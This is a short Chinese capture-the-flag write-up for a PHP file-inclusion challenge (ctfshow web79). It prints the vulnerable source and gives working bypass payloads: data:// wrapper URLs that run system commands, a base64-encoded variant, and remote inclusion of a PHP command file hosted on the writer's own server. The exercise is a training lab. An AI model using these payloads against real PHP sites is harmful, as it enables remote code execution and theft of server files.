web79笔记 文件包含系列开始(include 这里的$file 可由get传参控制 php替换成???)
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:10:14 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 11:12:38 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); include($file); }else{ highlight_file(__FILE__); }
本关对传入的参数进行过滤,过滤掉了php但是不影响使用上一关的方法。
经历过命令执行题目的折磨轻松可以绕过。 这⾥就是把$file⾥的php替换成???
其中 flag.php 是⽂件名,不能进⾏⼤⼩写绕过,⽽前⾯的php://是伪协议 是能够⼤⼩写绕过的,当然这里可以继续用打他伪协议
然后我们看看上⾯的data协议,可以执⾏命令,php == =
?file=data://text/plain,<?=system('ls');?> 可以获取当前目录文件发现有一个flag.php
?file=data://text/plain,<?=system('tac flag*');?> 即可读取flag.php的中的内容。 正则表达式
?file=data://text/plain;base64,IDw/cGhwIHN5c3RlbSgnY2F0IGZsYWcucGhwJyk7 ===> <?php system('cat flag.php'); base64

远程加载 加载robots.txt,发现可以回显
http://xxxxxx/?file=https://www.baidu.com/robots.txt 在自己vps上创建1.txt,内容如下 <?php system("tac flag.php");?> 起一个http服务,加载 http://xxxxx/?file=http://8.x.x.x:7001/1.txt 远程加载
浙公网安备 33010602011771号